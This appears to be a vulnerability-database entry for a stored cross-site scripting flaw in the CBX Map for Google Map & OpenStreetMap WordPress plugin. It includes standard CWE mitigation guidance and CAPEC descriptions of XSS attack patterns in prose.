"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Codeboxr CBX Map for Google Map \u0026 OpenStreetMap allows Stored XSS.This issue affects CBX Map for Google Map \u0026 OpenStreetMap: from n/a through 1.1.11.",
"id": "GHSA-4vvr-gjmg-w366",
"modified": "2026-04-28T21:33:52Z",
"published": "2024-01-31T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22297"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/cbxgooglemap/wordpress-cbx-map-for-google-map-openstreetmap-plugin-1-1-11-cross-site-scripting-xss-vulnerability-2?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.